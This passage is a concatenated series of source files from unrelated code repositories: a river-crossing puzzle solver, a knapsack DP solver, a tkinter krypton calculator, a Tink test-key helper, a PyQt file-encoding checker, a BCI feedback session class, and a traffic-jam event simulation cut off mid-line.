templeft.append(person2)\n tempchain = chain.copy()\n tempchain.append(f\"--> {person1} + {person2}\")\n func(\n time + slowest_time(person1, person2),\n False,\n tempright,\n templeft,\n tempchain,\n )\n\n else:\n for person in left:\n templeft = left.copy()\n templeft.remove(person)\n tempright = right.copy()\n tempright.append(person)\n tempchain = chain.copy()\n tempchain.append(f\"<-- {person}\")\n func(time + slowest_time(person), True, tempright, templeft, tempchain)\n\n func(0, True, PEOPLE, [], [])\n console.clear()\n console.rule(\"[underline green]Solutions\")\n print(see_rich_results(successes))\n console.rule(\"[underline bright_blue]Example Solution[/]\")\n print(\n display_result(successes[__import__(\"random\").randint(0, len(successes) - 1)])\n )\n print(\n f\"{len(successes)}/{len(successes) + len(fails)} combinations were successful.\"\n )\n\n\nif __name__ == \"__main__\":\n recursive()\n","repo_name":"ethansocal/Math-Powers","sub_path":"Math Power 4: Musician River/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38357673916","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\ndef solve(item_count, capacity, items):\n # DP implementation\n value = 0\n taken = np.zeros(item_count, dtype=np.int32)\n table = [[0 for x in range(capacity + 1)] for x in range(item_count + 1)]\n\n for i in range(1, item_count + 1):\n item = items[i - 1]\n threshold = min(item.weight, capacity + 1)\n for j in range(0, threshold):\n table[i][j] = table[i - 1][j]\n for j in range(threshold, capacity + 1):\n # Value when taking the item\n v_take = item.value + table[i - 1][j - item.weight]\n table[i][j] = max(v_take, table[i - 1][j])\n\n value = table[item_count][capacity]\n\n c_track = capacity\n for i in range(item_count, 0, -1):\n if table[i][c_track] != table[i - 1][c_track]:\n taken[i - 1] = 1\n c_track -= items[i - 1].weight\n else:\n taken[i - 1] = 0\n\n return value, taken\n","repo_name":"jiyolla-old/DiscOpt-knapsack","sub_path":"k_dp.py","file_name":"k_dp.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13906636395","text":"import tkinter as tk\nfrom tkinter import *\ndef clear_all() :\n \n # whole content of entry boxes is deleted\n ic_field.delete(0, END) \n bkg_field.delete(0, END)\n eff_field.delete(0, END)\n kr_field.delete(0, END)\n \n # set focus on the principal_field entry box \n ic_field.focus_set()\ndef kr():\n ic=float(ic_field.get())\n bkg=float(bkg_field.get())\n eff=float(eff_field.get())\n kr=((ic-bkg)*1.65)/(3600*2.9*3.7*eff)\n kr_field.insert(100,kr)\nif __name__ == \"__main__\" :\n \n root=tk.Tk()\n root.configure(background = 'light green')\n \n # Set the configuration of GUI window\n root.geometry(\"%dx%d\" % (450, 300))\n # set the name of tkinter GUI window\n root.title(\"Krypton Calculator\")\n root.resizable(height=0, width=0)\n l1=Label(root,text=\"Integrated Counts\",fg=\"black\",bg=\"grey\")\n l2=Label(root,text=\"Background Counts\",fg=\"black\",bg=\"grey\")\n l3=Label(root,text=\"Efficiency (in %)\",fg=\"black\",bg=\"grey\")\n l4=Label(root,text=\"Krypton Activity\",fg=\"black\",bg=\"grey\")\n l1.grid(row=1,column=0,padx=20,pady=10)\n l2.grid(row=2,column=0,padx=20,pady=10)\n l3.grid(row=3,column=0,padx=20,pady=10)\n l4.grid(row=4,column=0,padx=20,pady=10)\n ic_field=Entry(root)\n bkg_field=Entry(root)\n eff_field=Entry(root)\n kr_field=Entry(root)\nic_field.grid(row = 1, column = 1, padx = 10, pady = 10)\nbkg_field.grid(row = 2, column = 1, padx = 10, pady = 10)\neff_field.grid(row = 3, column = 1, padx = 10, pady = 10) \nkr_field.grid(row = 4, column = 1, padx = 10, pady = 10)\nb1 = Button(root, text = \"Submit\", bg = \"red\",fg = \"black\", command = kr)\nb2 = Button(root, text = \"Clear\", bg = \"red\", fg = \"black\", command = clear_all)\nb1.grid(row = 5, column = 1, pady = 10)\nb2.grid(row = 6, column = 1, pady = 10)\nroot.resizable(False, False)\nroot.mainloop()","repo_name":"gitansh2003/gitansh2003","sub_path":"soource.py","file_name":"soource.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6573284828","text":"import io\nfrom typing import Any\nfrom typing import Callable\n\nimport tink\nfrom tink import aead\nfrom tink import cleartext_keyset_handle\nfrom tink import daead\nfrom tink import hybrid\nfrom tink import jwt\nfrom tink import mac\nfrom tink import prf\nfrom tink import signature\nfrom tink import streaming_aead\n\nfrom tink.proto import tink_pb2\nimport tink_config\nfrom util import key_util\nfrom util.test_keys import _test_keys_container\nfrom util.test_keys import _test_keys_db\n\n\n_CREATE_NEW_KEY_MESSAGE_TEMPLATE = \"\"\"\nUnable to retrieve stored key for template:\n{text_format}\nTo create a new key with this template, run:\nblaze test --trim_test_configuration \\\\\n //third_party/tink/testing/cross_language/util:testing_servers_test \\\\\n --test_arg=--force_failure_for_adding_key_to_db \\\\\n --test_arg=--hex_template={hex_template} \\\\\n --test_output=errors\n\"\"\".strip()\n\n\ndef _use_stored_key(template: tink_pb2.KeyTemplate) -> bool:\n \"\"\"Returns true for templates for which we should use _test_keys_db.py.\"\"\"\n # We cannot yet create ChaCha20Poly1305Keys in Python.\n if (template.type_url ==\n 'type.googleapis.com/google.crypto.tink.ChaCha20Poly1305Key'):\n return True\n # Creating RSA Keys is very slow.\n if (template.type_url ==\n 'type.googleapis.com/google.crypto.tink.RsaSsaPkcs1PrivateKey'):\n return True\n # Creating RSA Keys is very slow.\n if (template.type_url ==\n 'type.googleapis.com/google.crypto.tink.RsaSsaPssPrivateKey'):\n return True\n # Creating RSA Keys is very slow.\n if (template.type_url ==\n 'type.googleapis.com/google.crypto.tink.JwtRsaSsaPkcs1PrivateKey'):\n return True\n # Creating RSA Keys is very slow.\n if (template.type_url ==\n 'type.googleapis.com/google.crypto.tink.JwtRsaSsaPssPrivateKey'):\n return True\n return False\n\n\ndef new_or_stored_key(\n template: tink_pb2.KeyTemplate,\n container: _test_keys_container.TestKeysContainer = _test_keys_db.db,\n use_stored_key: Callable[[tink_pb2.KeyTemplate], bool] = _use_stored_key\n) -> tink_pb2.Keyset.Key:\n \"\"\"Returns either a new key or one which is stored in the passed in db.\n\n The arguments 'container' and 'use_stored_key' are for testing and typically\n do not need to be used.\n\n Args:\n template: the template for which to get a key\n container: the container with test keys, per default the container defined\n globally in _test_keys_db\n use_stored_key: a function which returns for a given template whether we\n should use a precomputed key, defaults to an internal function\n \"\"\"\n\n if not use_stored_key(template):\n handle = tink.new_keyset_handle(template)\n buf = io.BytesIO()\n writer = tink.BinaryKeysetWriter(buf)\n cleartext_keyset_handle.write(writer, handle)\n keyset = tink_pb2.Keyset.FromString(buf.getvalue())\n return keyset.key[0]\n\n try:\n return container.get_key(template)\n except KeyError:\n raise ValueError(\n _CREATE_NEW_KEY_MESSAGE_TEMPLATE.format(\n text_format=key_util.text_format(template),\n hex_template=template.SerializeToString().hex())) from None\n\n\ndef new_or_stored_keyset(\n template: tink_pb2.KeyTemplate,\n container: _test_keys_container.TestKeysContainer = _test_keys_db.db,\n use_stored_key: Callable[[tink_pb2.KeyTemplate], bool] = _use_stored_key\n) -> bytes:\n \"\"\"Returns a new keyset with a single new or stored key.\n\n The arguments 'container' and 'use_stored_key' are for testing and typically\n do not need to be used.\n\n Args:\n template: the template for which to get a key\n container: the container with test keys, per default the container defined\n globally in _test_keys_db\n use_stored_key: a function which returns for a given template whether we\n should use a precomputed key, defaults to an internal function\n \"\"\"\n key = new_or_stored_key(template, container, use_stored_key)\n keyset = tink_pb2.Keyset(key=[key], primary_key_id=key.key_id)\n return keyset.SerializeToString()\n\n\ndef _some_template_for_primitive(primitive: Any) -> tink_pb2.KeyTemplate:\n \"\"\"Returns an arbitrary template for the given primitive.\"\"\"\n if primitive == aead.Aead:\n return aead.aead_key_templates.AES128_GCM\n if primitive == daead.DeterministicAead:\n return daead.deterministic_aead_key_templates.AES256_SIV\n if primitive == streaming_aead.StreamingAead:\n return streaming_aead.streaming_aead_key_templates.AES256_CTR_HMAC_SHA256_1MB\n if primitive == hybrid.HybridDecrypt:\n return hybrid.hybrid_key_templates.DHKEM_X25519_HKDF_SHA256_HKDF_SHA256_AES_256_GCM_RAW\n if primitive == mac.Mac:\n return mac.mac_key_templates.HMAC_SHA256_256BITTAG\n if primitive == signature.PublicKeySign:\n return signature.signature_key_templates.RSA_SSA_PKCS1_4096_SHA512_F4\n if primitive == prf.PrfSet:\n return prf.prf_key_templates.HKDF_SHA256\n if primitive == jwt.JwtMac:\n return jwt.jwt_hs256_template()\n if primitive == jwt.JwtPublicKeySign:\n return jwt.jwt_ps512_4096_f4_template()\n raise ValueError('Unknown primitive in _some_template_for_primitive')\n\n\ndef _get_public_keyset(private_keyset: bytes) -> bytes:\n reader = tink.BinaryKeysetReader(private_keyset)\n keyset_handle = cleartext_keyset_handle.read(reader)\n public_keyset_handle = keyset_handle.public_keyset_handle()\n public_keyset = io.BytesIO()\n cleartext_keyset_handle.write(\n tink.BinaryKeysetWriter(public_keyset), public_keyset_handle)\n return public_keyset.getvalue()\n\n\ndef some_keyset_for_primitive(primitive: Any) -> bytes:\n \"\"\"Returns an arbitrary keyset for the given primitive.\"\"\"\n if not tink_config.is_asymmetric_public_key_primitive(primitive):\n return new_or_stored_keyset(_some_template_for_primitive(primitive))\n\n private_key_primitive = tink_config.get_private_key_primitive(primitive)\n private_keyset = new_or_stored_keyset(\n _some_template_for_primitive(private_key_primitive))\n\n return _get_public_keyset(private_keyset)\n","repo_name":"google/tink","sub_path":"testing/cross_language/util/test_keys/_create_test_key.py","file_name":"_create_test_key.py","file_ext":"py","file_size_in_byte":5900,"program_lang":"python","lang":"en","doc_type":"code","stars":13369,"dataset":"github-code","pt":"38"} +{"seq_id":"26942449092","text":"from os import walk\nfrom os.path import exists, isdir, isfile, join, normpath, splitext\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QColor\nfrom PyQt5.QtWidgets import QTextEdit\n\nfrom milk.cmm import Cmm\nfrom milk.conf import LangUI, settings, StyleSheet, UIDef, UserKey\nfrom milk.gui import GUI\nfrom milk.thread_runner import ThreadRunner\n\n\nclass _View(GUI.View):\n def __init__(self):\n super(_View, self).__init__()\n\n # create widgets\n self.ui_lab_choose = GUI.create_label(LangUI.lua_encoding_detection_folder_selection)\n self.ui_edit_choose = GUI.create_line_edit(placeholder=LangUI.lua_encoding_detection_folder_selection)\n self.ui_act_choose = GUI.set_folder_action_for_line_edit(self.ui_edit_choose)\n self.ui_lab_only = GUI.create_label(LangUI.lua_encoding_detection_extension_specify)\n self.ui_edit_only = GUI.create_line_edit(placeholder=\".lua,.py,.js,...\")\n self.ui_cb_convert = GUI.create_check_box(LangUI.lua_encoding_detection_convert_to_utf8)\n self.ui_cb_non_utf8 = GUI.create_check_box(LangUI.lua_encoding_detection_non_utf8_only)\n self.ui_tb_log = GUI.create_text_browser()\n self.ui_tb_log.setStyleSheet(StyleSheet.TextBrowser)\n self.ui_tb_log.setLineWrapMode(QTextEdit.NoWrap)\n self.ui_tb_log.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n\n # layout widgets\n self.ui_layout = GUI.create_grid_layout(self)\n GUI.add_grid_in_rows(self.ui_layout, [\n (\n GUI.GridItem(self.ui_lab_choose, 0, 1),\n GUI.GridItem(self.ui_edit_choose, 1, 3),\n ),\n (\n GUI.GridItem(self.ui_lab_only, 0, 1),\n GUI.GridItem(self.ui_edit_only, 1, 3),\n ),\n (\n GUI.GridItem(self.ui_cb_convert, 1, 1),\n GUI.GridItem(self.ui_cb_non_utf8, 2, 1),\n ),\n (\n GUI.GridItem(self.ui_tb_log, 0, 4),\n ),\n ])\n GUI.set_grid_span(self.ui_layout, [2], [3])\n\n\nclass EncodingDetectionView(_View):\n def __init__(self):\n super(EncodingDetectionView, self).__init__()\n\n self.colors = [QColor('#ff6b81'), QColor('#6bddcd'), ]\n self.color_index: int = 0\n\n self.setWindowTitle(LangUI.lua_encoding_detection_title)\n self.setMinimumSize(GUI.view_size())\n\n self.setup_window_code(UIDef.LuaEncodingChecker.value)\n self.setup_rect_key(UserKey.LuaEncodingDetection.window_rect)\n self.setup_ui_signals()\n self.ui_edit_choose.setText(self.last_at())\n\n def setup_ui_signals(self):\n self.ui_edit_choose.returnPressed.connect(self.on_detect)\n self.ui_edit_only.returnPressed.connect(self.on_detect)\n self.ui_act_choose.triggered.connect(self.on_choose_files)\n self.ui_cb_non_utf8.toggled.connect(self.on_detect)\n\n def on_detect(self):\n self.ui_tb_log.clear()\n self.ui_tb_log.setFocus()\n self.start_detection(self.last_at())\n\n @staticmethod\n def last_at(at: str = None):\n if at is not None:\n settings.setValue(UserKey.LuaEncodingDetection.last_dir, at)\n else:\n return settings.value(UserKey.LuaEncodingDetection.last_dir, Cmm.user_document_dir(), str)\n\n def set_widgets_enabled(self, ok: bool):\n GUI.set_text_browser_selectable(self.ui_tb_log, ok)\n widgets = [self.ui_edit_choose, self.ui_edit_only, self.ui_cb_convert, self.ui_cb_non_utf8]\n [w.setEnabled(ok) for w in widgets]\n\n def set_next_color(self, color=None):\n self.ui_tb_log.setTextColor(color if color is not None else self.next_color())\n\n def next_color(self):\n self.color_index += 1\n if self.color_index == len(self.colors):\n self.color_index = 0\n return self.colors[self.color_index]\n\n def extensions(self):\n extensions = self.ui_edit_only.text().split(',')\n for i in range(len(extensions) - 1, -1, -1):\n if len(extensions[i].strip()) <= 1:\n extensions.pop(i)\n return extensions\n\n @staticmethod\n def meet_file_extensions(extensions: Cmm.Iterable[str], ext: str):\n if len(extensions) == 0:\n return True\n return ext in extensions\n\n def detect_one(self, where: str):\n if self.ui_cb_convert.isChecked():\n encoding, converted = Cmm.convert_file_encoding_to_utf8(where)\n text = \"[ {} ] {} \".format(encoding, normpath(where))\n text = text + LangUI.lua_encoding_detection_convert_ok if converted else LangUI.lua_encoding_detection_convert_bad\n else:\n converted = True\n encoding = Cmm.get_file_encoding(where)\n text = \"[ {} ] {} \".format(encoding, normpath(where))\n output = True\n is_utf8 = Cmm.is_utf8_encoding(encoding)\n if self.ui_cb_non_utf8.isChecked():\n output = not is_utf8\n if output is True:\n if is_utf8 is False or converted is False:\n self.bad(text)\n else:\n self.ok(text)\n\n def _detect_encoding(self, file_list: [str]):\n file_list.reverse()\n\n def on_running():\n if len(file_list) == 0:\n self.set_widgets_enabled(True)\n runner.stop(tid)\n return\n where = file_list.pop()\n self.detect_one(where)\n\n runner = ThreadRunner()\n tid = runner.start(runner=on_running)\n\n def ok(self, text: str):\n self.set_next_color()\n self.ui_tb_log.append(text)\n self.scrollToBottom()\n\n def bad(self, text: str):\n self.set_next_color(Qt.red)\n self.ui_tb_log.append(text)\n self.scrollToBottom()\n\n def scrollToBottom(self):\n bar = self.ui_tb_log.verticalScrollBar()\n bar.setValue(bar.maximum())\n\n def start_detection(self, where: str):\n if not exists(where):\n return\n\n extensions = self.extensions()\n file_list = []\n if isdir(where):\n for root, dirs, files in walk(where):\n for file in files:\n filename = normpath(join(root, file))\n if Cmm.is_hiding_path(filename) is False:\n if self.meet_file_extensions(extensions, splitext(filename)[1]):\n file_list.append(filename)\n elif isfile(where):\n file_list.append(where)\n else:\n self.bad(LangUI.lua_encoding_detection_file_not_found.format(normpath(where)))\n return\n\n if len(file_list) > 0:\n self.set_widgets_enabled(False)\n self._detect_encoding(file_list)\n\n def on_choose_files(self):\n title = LangUI.lua_encoding_detection_folder_selection\n chosen = GUI.dialog_for_directory_selection(self, title, self.last_at())\n if chosen is not None:\n self.ui_edit_choose.setText(chosen)\n self.last_at(chosen)\n self.on_detect()\n","repo_name":"DoooReyn/milk","sub_path":"milk/view/lua/encoding_detection_view.py","file_name":"encoding_detection_view.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"31277316840","text":"from new_bci_framework.session.session import Session\n\nfrom new_bci_framework.config.config import Config\nfrom new_bci_framework.recorder.recorder import Recorder\nfrom new_bci_framework.ui.recording_ui.recording_ui import RecordingUI\nfrom new_bci_framework.paradigm.paradigm import Paradigm\nfrom new_bci_framework.preprocessing.preprocessing_pipeline import PreprocessingPipeline\nfrom new_bci_framework.classifier.base_classifier import BaseClassifier\n\n\nclass FeedbackSession(Session):\n \"\"\"\n Subclass of session for a feedback recording session.\n In this session the classifier is pre-trained (loaded from pickle) and for each recorded trial the prediction is\n displayed.\n \"\"\"\n def __init__(self, config: Config, recorder: Recorder, ui: RecordingUI, paradigm: Paradigm,\n preprocessor: PreprocessingPipeline, classifier: BaseClassifier):\n super().__init__(config, recorder, ui, paradigm, preprocessor, classifier)\n self.classifier.load_classifier()\n self.data = None\n\n def run_paradigm(self):\n \"\"\"\n see :func:'run_paradigm '\n In addition, this method also runs preprocessing and classifier predictions on each event, to present to the\n subject and creat a neuro-feedback loop.\n \"\"\"\n events = self.paradigm.get_events()\n work = len(events)\n\n self.ui.setup()\n\n for i in range(work):\n if self.ui.need_to_quit():\n break\n self.ui.clear_surface(self.ui.msg_surface)\n self.ui.display_event(self.recorder, events[i], self.ui.msg_surface)\n self.run_preprocessing()\n for t, p in zip(self.labels, self.classifier.predict(self.processed_data)):\n self.ui.display_prediction(t, p)\n\n self.ui.quit()\n\n def run_preprocessing(self) -> None:\n \"\"\"\n see :func:'run_preprocessing '\n Uses the super class's implementation on data from a single trial.\n \"\"\"\n self.raw_data = self.recorder.get_partial_raw_data()\n super(FeedbackSession, self).run_preprocessing()\n\n def run_classifier(self) -> None:\n \"\"\"\n Currently we are skipping this step and retraining separately from recording, but this method can implement\n updating the trained classifier with the new data recorded in this session.\n \"\"\"\n pass\n","repo_name":"AdiRavid/BCI4ALS-python","sub_path":"new_bci_framework/session/feedback_session.py","file_name":"feedback_session.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27868672514","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb 26 16:17:00 2020\r\n\r\n@author: s159774\r\n\"\"\"\r\n\r\nfrom scipy import stats\r\nfrom collections import deque\r\nfrom class_Event import Event\r\nfrom class_FES import FES\r\nfrom class_Car import Car\r\nfrom class_Edge import Edge\r\nfrom class_TrafficJam import TrafficJam\r\nfrom util import *\r\nimport random\r\nfrom numpy import std\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n \r\nclass Simulation:\r\n \r\n def __init__(self, carInterarrival, warmupTime):\r\n # graph, route_path = build_toy_graph()\r\n graph, route_path = build_highway_graph()\r\n \r\n #print(graph)\r\n #print('Route_Path')\r\n #for i in route_path:\r\n # print(i)\r\n #print('-------')\r\n \r\n self.graph = graph\r\n self.route_path = route_path\r\n self.carInterarrival = carInterarrival\r\n self.warmupTime = warmupTime\r\n \r\n # KPI set-up\r\n self.delayed_veh = dict() # KPI 2\r\n self.jams = dict() # KPI 3\r\n self.travel_time_regular_car = dict() # Key = duration, Value is amount occured\r\n self.jam_time_regular_car = dict() # Key = duration, Value is amount occured\r\n self.amount_of_jams_regular_car = dict()\r\n\r\n # Time recordings\r\n self.last_jam_record_t = 0\r\n self.last_delayed_veh_record_t = 0\r\n self.last_arr_regular_car_t = 0\r\n \r\n def record(self, dictionary, value, added_time): # Helper function\r\n if (value) in dictionary.keys():\r\n dictionary[(value)] += added_time\r\n else:\r\n dictionary[(value)] = added_time\r\n return dictionary\r\n \r\n def record_delayed_veh(self, time):\r\n if(time <= self.warmupTime):\r\n return\r\n \r\n time = time - self.warmupTime\r\n \r\n delayed_veh = 0 # counts number of delayed vehicles at time t\r\n for edge in self.graph.edges:\r\n if(edge.hasJam()):\r\n jam = edge.jam\r\n delayed_veh += jam.getQueueLength()\r\n \r\n # Now add to dictionary\r\n self.delayed_veh = self.record(self.delayed_veh, delayed_veh, time - self.last_delayed_veh_record_t)\r\n self.last_delayed_veh_record_t = time\r\n \r\n def record_jams(self, time):\r\n if(time <= self.warmupTime):\r\n return\r\n \r\n time = time - self.warmupTime\r\n no_jams = 0\r\n for edge in self.graph.edges:\r\n if(edge.hasJam()):\r\n no_jams += 1\r\n self.jams = self.record(self.jams, no_jams, time - self.last_jam_record_t)\r\n self.last_jam_record_t = time\r\n\r\n def record_arr_regular_car(self, car, time):\r\n if(time <= self.warmupTime):\r\n return\r\n \r\n time = time - self.warmupTime\r\n duration = car.arrivalTime - car.departureTime\r\n if(duration <= 0):\r\n print(\"Warning Car is arrived without travel time\")\r\n \r\n # Now add 1 to the duration\r\n duration = round(duration)\r\n if (duration) in self.travel_time_regular_car.keys():\r\n self.travel_time_regular_car[(duration)] += 1\r\n else:\r\n self.travel_time_regular_car[(duration)] = 1\r\n \r\n time_in_jam = 0\r\n for traffic_jam_times in car.traffic_jams: # This instance is NOT a traffic jam\r\n jam_duration = traffic_jam_times['end'] - traffic_jam_times['start']\r\n if(traffic_jam_times['end'] <= 0):\r\n print(\"WARNING: Car has no traffic jam end\")\r\n if(jam_duration <= 0):\r\n print(\"WARNING: The duration of the traffic jam is smaller than 0.\")\r\n time_in_jam += jam_duration\r\n \r\n time_in_jam = round(time_in_jam)\r\n if(time_in_jam >= duration):\r\n print(\"WARNING: Car is only in a jam!\")\r\n\r\n # Now add 1 to the duration\r\n if (time_in_jam) in self.jam_time_regular_car.keys():\r\n self.jam_time_regular_car[(time_in_jam)] += 1\r\n else:\r\n self.jam_time_regular_car[(time_in_jam)] = 1\r\n \r\n # Add the amount of jams\r\n jam_amount = len(car.traffic_jams)\r\n if jam_amount in self.amount_of_jams_regular_car.keys():\r\n self.amount_of_jams_regular_car[(jam_amount)] += 1\r\n else:\r\n self.amount_of_jams_regular_car[(jam_amount)] = 1\r\n \r\n self.last_arr_regular_car_t = time\r\n \r\n def simulate(self, timelim):\r\n # -- Initialize variables\r\n t = 0\r\n fes = FES()\r\n edges = self.graph.edges\r\n \r\n # -- Set start of simulation\r\n self.all_traffic_jams = []\r\n self.events_per_t = dict() # TEMP\r\n \r\n # Now create a regular car \r\n route = []\r\n for edge in self.route_path: # Route path contains the integers of the edge in edges list.\r\n route.append(edges[edge]) # Do the conversion\r\n \r\n # Create Ghost Cars and Traffic Jams\r\n for edge in edges:\r\n \r\n # Set a traffic jam on each edge at a specific time\r\n jam = edge.getNextJam(0)\r\n fes.add(Event(jam.startTime, jam, \"TrafficJamStart\"))\r\n \r\n # Set a ghost car on each edge\r\n if(edge not in route):\r\n nextCar = Car(True, [edge]) # Only route is one edge\r\n fes.add(Event(self.carInterarrival.rvs(), nextCar, \"CarDepature\"))\r\n\r\n\r\n regularCar = Car(False, route)\r\n fes.add(Event(self.carInterarrival.rvs(), regularCar, \"CarDepature\"))\r\n \r\n firstRecord = False\r\n # -- Start real simulation\r\n while t < timelim + self.warmupTime:\r\n e = fes.next() # next event\r\n obj = e.obj\r\n time = e.time\r\n \r\n if(not firstRecord and t > self.warmupTime):\r\n self.record_delayed_veh(time) \r\n firstRecord = True\r\n # Car arrives at node\r\n if e.eventtype == \"CarArrival\":\r\n if(not obj.isGhost): \r\n if(not obj.isAtDestination()): # If Car is not at destination, then see it as a new depature\r\n e.eventtype = \"CarDepature\"\r\n else:\r\n obj.destinationArrival(time)\r\n self.record_arr_regular_car(obj, time)\r\n \r\n # Car departs from Node\r\n if e.eventtype == \"CarDepature\": # Car leaving from an edge (start travel)\r\n if(obj.newInstance):\r\n nextCar = Car(obj.isGhost, obj.route.copy())\r\n fes.add(Event(time+self.carInterarrival.rvs(), nextCar, \"CarDepature\")) # Do the interarrival rate\r\n nextEdge = obj.nextTravel(time)\r\n if(nextEdge.hasJam()):\r\n time_to_jam = nextEdge.jam.location_on_edge * obj.edge_travel_time\r\n fes.add(Event(time + time_to_jam, obj, \"CarArrivalJam\")) # Car entering an edge\r\n else:\r\n if(not obj.isGhost): # Only regular cars have to have an arrival in this case.\r\n fes.add(Event(time+obj.edge_travel_time, obj, \"CarArrival\")) # Car entering an edge\r\n\r\n # Traffic Jam occurs\r\n if e.eventtype == \"TrafficJamStart\":\r\n if(obj.edge.hasJam()): # Prevent creating a new jam when thhe old one is not resolved.\r\n #print(\"WARNING: A Jam was attempted to be created before te old one was ended.\")\r\n t = ''\r\n else:\r\n self.record_jams(time)\r\n obj.edge.startJam(obj)\r\n fes.add(Event(obj.endTime, obj, \"TrafficJamEnd\"))\r\n newJam = obj.edge.getNextJam(time)\r\n fes.add(Event(newJam.startTime, newJam, \"TrafficJamStart\"))\r\n \r\n # Traffic Jam resolves\r\n if e.eventtype == \"TrafficJamEnd\":\r\n if(obj.getQueueLength() > 0):\r\n leavingCar = obj.getLeavingCar()\r\n obj = leavingCar\r\n e.eventtype = \"CarDepatureJam\"\r\n else:\r\n self.record_jams(time)\r\n obj.edge.endJam()\r\n \r\n # Car arrival at Jam\r\n if e.eventtype == \"CarArrivalJam\": # Car arriving at a Jam\r\n if(obj.current_edge.hasJam()): # Check if Jam has been resolved\r\n self.record_delayed_veh(time) \r\n trafficJam = obj.current_edge.jam\r\n trafficJam.addCar(obj)\r\n obj.addTrafficJam(time) # Monitor car in traffic jam\r\n else:\r\n fes.add(Event(obj.edge_depature_time + obj.edge_travel_time, obj, \"CarArrival\"))\r\n \r\n # Car departs from Jam\r\n if e.eventtype == \"CarDepatureJam\": # Car leaving from a jam\r\n trafficJam = obj.current_edge.jam\r\n trafficJam.removeCar(obj)\r\n time_in_jam = obj.endTrafficJam(time)\r\n if(not obj.isGhost):\r\n fes.add(Event(obj.edge_depature_time+obj.edge_travel_time+time_in_jam, obj, \"CarArrival\"))\r\n if(trafficJam.getQueueLength() > 0):\r\n self.record_delayed_veh(time)\r\n leavingCar = trafficJam.getLeavingCar()\r\n processingTime = trafficJam.getProcessingTime()\r\n fes.add(Event(time+processingTime, leavingCar, \"CarDepatureJam\"))\r\n else:\r\n self.record_jams(time)\r\n trafficJam.edge.endJam() # Remove the Jam from the edge\r\n \r\n t = time\r\n \r\n # Monitor the last things\r\n self.record_delayed_veh(time)\r\n self.record_jams(time)\r\n \r\n print(\"Total simulation time:\" + str(t)) \r\n return (self.delayed_veh, self.jams)\r\n\r\n\r\n\r\ncarInterarrivalRate = stats.expon(loc = 0, scale = 1/4) # scale is .25 corresponds to 4 cars per minutes on avg.\r\nsim = Simulation(carInterarrivalRate, 100)\r\nres = sim.simulate(1440) \r\n\r\n\"\"\" FOR KPI 1 (distribution of travel time, mean std histogram).\r\n- Information is stored in Car objects\r\n- Indicate which part of the travel time is caused by the delay (realised travel time - initial travel time)\r\n- Loop through all regular cars and store needed info in lists\r\n\"\"\"\r\n\"\"\" FOR KPI 2 (distribution of number of delayed vehicles at any arbitrary epoch)\r\n- number of delayed vehicles = sum of all cars in the queues (loop through the queues of the jams)\r\n- store the time that k vehicles were delayed after each event (only for car events) (list or dict)\r\n\"\"\"\r\n\"\"\"FOR KPI 3 (distribution of the number of incidents in the whole network)\r\n- use len(all_traffic_jams) for the number of incidents\r\n- store time of k incidents at the end of each event (only for jam events) (list or dictionary)\r\n\"\"\"\r\n\r\n\r\n# --- MEASURE 1 ---\r\n# -- TRAVEL TIME -- \r\ndef get_measure_1(sim):\r\n print(\"MEASURE 1\")\r\n print(\"Distribution of travel times\")\r\n x = []\r\n y = [] \r\n sorted_travel_times = {k: v for k, v in sorted(sim.travel_time_regular_car.items(), key=lambda item: item[0])}\r\n for (key, amount) in sorted_travel_times.items():\r\n x.append(key)\r\n y.append(amount)\r\n y = [i / sum(y) for i in y]\r\n plt.plot(x, y, label = \"Total Travel Time\")\r\n plt.xlabel(\"Minutes\")\r\n plt.ylabel(\"Probability\")\r\n plt.show()\r\n \r\n all_travel_times = []\r\n for (key, amount) in sorted_travel_times.items():\r\n for i in range(0, amount):\r\n all_travel_times.append(key)\r\n \r\n avg_travel_time = sum(all_travel_times) / len(all_travel_times)\r\n print(\"Average travel time:\" + str(avg_travel_time))\r\n print(\"Standard deviation:\" + str(np.std(all_travel_times)))\r\n \r\n # -- JAM TIME --\r\n print(\"Distribution of jam times\")\r\n sorted_travel_times = {k: v for k, v in sorted(sim.jam_time_regular_car.items(), key=lambda item: item[0])}\r\n x = []\r\n y = []\r\n for (key, amount) in sorted_travel_times.items():\r\n x.append(key)\r\n y.append(amount)\r\n x = x[1:]\r\n y = y[1:]\r\n y = [i / sum(y) for i in y]\r\n plt.plot(x, y, label = \"Time in Jam\")\r\n plt.title(\"Time in jam given that there is a jam\")\r\n plt.xlabel(\"Minutes\")\r\n plt.ylabel(\"Probability\")\r\n plt.show()\r\n all_jam_times = []\r\n for (key, amount) in sorted_travel_times.items():\r\n for i in range(0, amount):\r\n all_jam_times.append(key)\r\n \r\n avg_jam_time = sum(all_jam_times) / len(all_jam_times)\r\n print(\"Average travel time:\" + str(avg_jam_time))\r\n print(\"Standard deviation:\" + str(np.std(all_jam_times)))\r\n\r\n # -- Amount of traffic jams on route --\r\n print(\"Number of traffic jams on route\")\r\n sorted_travel_times = {k: v for k, v in sorted(sim.amount_of_jams_regular_car.items(), key=lambda item: item[0])}\r\n x = []\r\n y = []\r\n for (key, amount) in sorted_travel_times.items():\r\n x.append(key)\r\n y.append(amount)\r\n y = [i / sum(y) for i in y]\r\n plt.bar(x, y, label = \"Time in Jam\")\r\n plt.title(\"Amount of traffic jams on route\")\r\n plt.xlabel(\"Traffic Jams\")\r\n plt.ylabel(\"Probability\")\r\n plt.xticks(x, x)\r\n plt.show()\r\n all_jam_times = []\r\n for (key, amount) in sim.amount_of_jams_regular_car.items():\r\n 